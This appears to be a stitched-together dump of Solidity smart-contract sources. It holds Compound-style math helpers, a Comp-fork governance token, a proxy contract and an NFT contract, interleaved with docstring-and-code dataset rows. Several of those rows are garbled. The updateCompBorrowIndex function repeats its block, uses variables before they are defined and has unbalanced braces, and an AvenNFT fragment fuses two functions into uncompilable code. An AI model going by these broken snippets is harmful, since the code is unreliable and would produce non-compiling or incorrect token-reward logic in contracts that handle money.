return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
contract Dop {
/// @notice EIP-20 token name for this token
string public constant name = "Drops Ownership Power";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "DOP";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint256 public constant totalSupply = 15000000e18; // 15m
/// @notice Allowance amounts on behalf of others
mapping(address => mapping(address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping(address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping(address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender)
external
view
returns (uint256)
{
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 rawAmount)
external
returns (bool)
{
uint96 amount;
if (rawAmount == uint256(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 rawAmount) external returns (bool) {
uint96 amount =
safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 rawAmount
) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount =
safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance =
sub96(
spenderAllowance,
amount,
"Comp::transferFrom: transfer amount exceeds spender allowance"
);
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public {
bytes32 domainSeparator =
keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)
)
);
bytes32 structHash =
keccak256(
abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)
);
bytes32 digest =
keccak256(
abi.encodePacked("\x19\x01", domainSeparator, structHash)
);
address signatory = ecrecover(digest, v, r, s);
require(
signatory != address(0),
"Comp::delegateBySig: invalid signature"
);
require(
nonce == nonces[signatory]++,
"Comp::delegateBySig: invalid nonce"
);
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber)
public
view
returns (uint96)
{
require(
blockNumber < block.number,
"Comp::getPriorVotes: not yet determined"
);
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(
address src,
address dst,
uint96 amount
) internal {
require(
src != address(0),
"Comp::_transferTokens: cannot transfer from the zero address"
);
require(
dst != address(0),
"Comp::_transferTokens: cannot transfer to the zero address"
);
balances[src] = sub96(
balances[src],
amount,
"Comp::_transferTokens: transfer amount exceeds balance"
);
balances[dst] = add96(
balances[dst],
amount,
"Comp::_transferTokens: transfer amount overflows"
);
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint96 amount
) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld =
srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint96 srcRepNew =
sub96(
srcRepOld,
amount,
"Comp::_moveVotes: vote amount underflows"
);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld =
dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint96 dstRepNew =
add96(
dstRepOld,
amount,
"Comp::_moveVotes: vote amount overflows"
);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint96 oldVotes,
uint96 newVotes
) internal {
uint32 blockNumber =
safe32(
block.number,
"Comp::_writeCheckpoint: block number exceeds 32 bits"
);
if (
nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber
) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(
blockNumber,
newVotes
);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint256 n, string memory errorMessage)
internal
pure
returns (uint96)
{
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title Compound's InterestRateModel Interface
* @author Compound
*/
abstract contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external virtual view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external virtual view returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CToken.sol";
abstract contract PriceOracle {
/// @notice Indicator that this is a PriceOracle contract (for inspection)
bool public constant isPriceOracle = true;
/**
* @notice Get the underlying price of a cToken asset
* @param cToken The cToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(CToken cToken) external virtual returns (uint);
function getUnderlyingPriceView(CToken cToken) public view virtual returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./ErrorReporter.sol";
import "./ComptrollerStorage.sol";
/**
* @title ComptrollerCore
* @dev Storage for the comptroller is at this address, while execution is delegated to the `comptrollerImplementation`.
* CTokens should reference this contract as their comptroller.
*/
contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter {
/**
* @notice Emitted when pendingComptrollerImplementation is changed
*/
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
/**
* @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
constructor() public {
// Set admin to caller
admin = msg.sender;
}
/*** Admin Functions ***/
function _setPendingImplementation(address newPendingImplementation) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);
}
address oldPendingImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation
* @dev Admin function for new implementation to accept it's role as implementation
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptImplementation() public returns (uint) {
// Check caller is pendingImplementation and pendingImplementation ≠ address(0)
if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);
}
// Save current values for inclusion in log
address oldImplementation = comptrollerImplementation;
address oldPendingImplementation = pendingComptrollerImplementation;
comptrollerImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = address(0);
emit NewImplementation(oldImplementation, comptrollerImplementation);
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address newPendingAdmin) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() public returns (uint) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
fallback () payable external {
// delegate all other functions to current implementation
(bool success, ) = comptrollerImplementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize())
switch success
case 0 { revert(free_mem_ptr, returndatasize()) }
default { return(free_mem_ptr, returndatasize()) }
}
}
}
|
Accrue COMP to the market by updating the borrow index cToken The market whose borrow index to update/
|
function updateCompBorrowIndex(address cToken, Exp memory marketBorrowIndex) internal {
CompMarketState storage borrowState = compBorrowState[cToken];
uint borrowSpeed = compSpeeds[cToken];
uint blockNumber = getBlockNumber();
uint deltaBlocks = sub_(blockNumber, uint(borrowState.block));
if (deltaBlocks > 0 && borrowSpeed > 0) {
uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex);
uint compAccrued = mul_(deltaBlocks, borrowSpeed);
compBorrowState[cToken] = CompMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
borrowState.block = safe32(blockNumber, "block number exceeds 32 bits");
}
Double memory ratio = borrowAmount > 0 ? fraction(compAccrued, borrowAmount) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: borrowState.index}), ratio);
if (deltaBlocks > 0 && borrowSpeed > 0) {
uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex);
uint compAccrued = mul_(deltaBlocks, borrowSpeed);
compBorrowState[cToken] = CompMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
borrowState.block = safe32(blockNumber, "block number exceeds 32 bits");
}
} else if (deltaBlocks > 0) {
}
| 564,661 |
./full_match/1/0xD02A7208809821bC465BfBA4865D544cC48a93E8/sources/contracts/NFTStandard.sol
|
overload ERC721::_baseURI() with tokenId as param tokenId The baseURI of this tokenId will be returned/ scan backward to get the latest update on range baseuri
|
function _baseURI(uint256 tokenId) private view returns (string memory) {
Range_baseuri[] memory cachedBaseUris = baseURIs;
for (uint256 idx = cachedBaseUris.length; idx > 0; idx--) {
if (inRange(tokenId, cachedBaseUris[idx - 1]._range)) {
return cachedBaseUris[idx - 1]._baseuri;
}
}
return "";
}
| 3,037,580 |
./partial_match/1/0x06B3e19355a2eef4Ee90F3f6dD41A2e7f7b52F4A/sources/AvenNFT.sol
|
See {IERC165-supportsInterface}./
|
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
}
}
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
| 16,073,874 |
./full_match/1/0x4f4883ecAF658018024446E65bf51f68996F0296/sources/contracts/MarryStrgtVault.sol
|
Sets the Fees Only owner of the vault can set this _newFees New Fee Vaule can't set it to 100%
|
function setFees(uint256 _newFees) external onlyOwner {
if (_newFees >= 1e18) revert MarryStrgtVault__InvalidFee();
fee = _newFees;
emit LogSetFees(_newFees);
}
| 17,066,395 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./FineCoreInterface.sol";
/// @custom:security-contact [email protected]
contract Solids is ERC721Enumerable, ERC721Burnable, ERC721Royalty, AccessControl, Ownable {
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
FineCoreInterface coreContract;
bool public paused = false;
uint public TOKEN_LIMIT = 8888; // not including bonus
uint256 public remaining;
mapping(uint256 => uint256) public cache;
address payable public artistAddress = payable(0x70F2D7fA5fAE142E1AF7A95B4d48A9C8e417813D);
address payable public additionalPayee = payable(0x0000000000000000000000000000000000000000);
uint256 public additionalPayeePercentage = 0;
uint256 public additionalPayeeRoyaltyPercentage = 0;
uint96 public royaltyPercent = 4500;
string public _contractURI = "ipfs://QmPmtPqQff6nnyvv8LNEpSnLqeARVus8Q5SbUfWSLAw126";
string public baseURI = "ipfs://QmSBiKg2u4YvEB8rQrJisAvBxCR4L9QYFvFdibkk1kBDby";
string public artist = "FAR";
string public description = "SOLIDS is a generative architecture NFT project created by FAR. There are 8,888 + 512 unique buildings generated algorithmically, enabling utility in the Metaverse.";
string public website = "https://fine.digital";
string public license = "MIT";
event recievedFunds(address _from, uint _amount);
constructor(address coreAddress, address shopAddress) ERC721("SOLIDS", "SOLID") {
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(MINTER_ROLE, shopAddress);
coreContract = FineCoreInterface(coreAddress);
// set deafault royalty
_setDefaultRoyalty(address(this), royaltyPercent);
remaining = TOKEN_LIMIT; // start with max tokens
}
/**
* @dev receive direct ETH transfers
* @notice for splitting royalties
*/
receive() external payable {
emit recievedFunds(msg.sender, msg.value);
}
/**
* @dev split royalties sent to contract (ONLY ETH!)
*/
function withdraw() onlyOwner external {
_splitFunds(address(this).balance);
}
/**
* @dev Split payments
*/
function _splitFunds(uint256 amount) internal {
if (amount > 0) {
uint256 partA = amount * coreContract.platformRoyalty() / 10000;
coreContract.FINE_TREASURY().transfer(partA);
uint256 partB = amount * additionalPayeeRoyaltyPercentage / 10000;
if (partB > 0) additionalPayee.transfer(partB);
artistAddress.transfer((amount - partA) - partB);
}
}
/**
* @dev lookup the URI for a token
* @param tokenId to retieve URI for
*/
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
return string(abi.encodePacked(baseURI, "/", Strings.toString(tokenId), ".json"));
}
// On-chain Data
/**
* @dev Update the base URI field
* @param _uri base for all tokens
* @dev Only the admin can call this
*/
function setContractURI(string calldata _uri) onlyOwner external {
_contractURI = _uri;
}
/**
* @dev Update the base URI field
* @param _uri base for all tokens
* @dev Only the admin can call this
*/
function setBaseURI(string calldata _uri) onlyOwner external {
baseURI = _uri;
}
/**
* @dev Update the royalty percentage
* @param _percentage for royalties
* @dev Only the admin can call this
*/
function setRoyaltyPercent(uint96 _percentage) onlyOwner external {
royaltyPercent = _percentage;
}
/**
* @dev Update the additional payee sales percentage
* @param _percentage for sales
* @dev Only the admin can call this
*/
function additionalPayeePercent(uint96 _percentage) onlyOwner external {
additionalPayeePercentage = _percentage;
}
/**
* @dev Update the additional payee royalty percentage
* @param _percentage for royalty
* @dev Only the admin can call this
*/
function additionalPayeeRoyaltyPercent(uint96 _percentage) onlyOwner external {
additionalPayeeRoyaltyPercentage = _percentage;
}
/**
* @dev Update the description field
* @param _desc description of the project
* @dev Only the admin can call this
*/
function setDescription(string calldata _desc) onlyOwner external {
description = _desc;
}
/**
* @dev Update the website field
* @param _url base for all tokens
* @dev Only the admin can call this
*/
function setWebsite(string calldata _url) onlyOwner external {
website = _url;
}
/**
* @dev pause minting
* @dev Only the admin can call this
*/
function pause() onlyOwner external {
paused = true;
}
/**
* @dev unpause minting
* @dev Only the admin can call this
*/
function unpause() onlyOwner external {
paused = false;
}
/**
* @dev checkPool -maintain interface compatibility
*/
function checkPool() external view returns (uint256) {
return remaining;
}
/**
* @dev Draw a token from the remaining ids
*/
function drawIndex() internal returns (uint256 index) {
//RNG
uint randomness = coreContract.getRandomness(remaining, block.timestamp);
uint256 i = randomness % remaining;
// if there's a cache at cache[i] then use it
// otherwise use i itself
index = cache[i] == 0 ? i : cache[i];
// grab a number from the tail
cache[i] = cache[remaining - 1] == 0 ? remaining - 1 : cache[remaining - 1];
remaining = remaining - 1;
}
/**
* @dev Mint a token
* @param to address to mint the token to
* @dev Only the minter role can call this
*/
function mint(address to) external onlyRole(MINTER_ROLE) returns (uint) {
require(!paused, "minting paused");
require(remaining > 0, "all tokens minted");
uint id = drawIndex();
_safeMint(to, id);
return id;
}
/**
* @dev Mint a bonus token (for infinites AI holders)
* @param to address to mint the token to
* @dev Only the minter role can call this
*/
function mintBonus(address to, uint infiniteId) external onlyRole(MINTER_ROLE) returns (uint bonusId) {
require(!paused, "minting paused");
bonusId = 10000 + infiniteId;
require(!_exists(bonusId), "Token already minted");
_safeMint(to, bonusId);
}
// getters for interface
function contractURI() public view returns (string memory) {
return _contractURI;
}
function getArtistAddress() external view returns (address payable) {
return artistAddress;
}
function getAdditionalPayee() external view returns (address payable) {
return additionalPayee;
}
function getAdditionalPayeePercentage() external view returns (uint256) {
return additionalPayeePercentage;
}
function getTokenLimit() external view returns (uint256) {
return TOKEN_LIMIT;
}
// The following functions are overrides required by Solidity.
/**
* @dev get baseURI for all tokens
*/
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, ERC721Royalty, AccessControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721Royalty)
{
super._burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
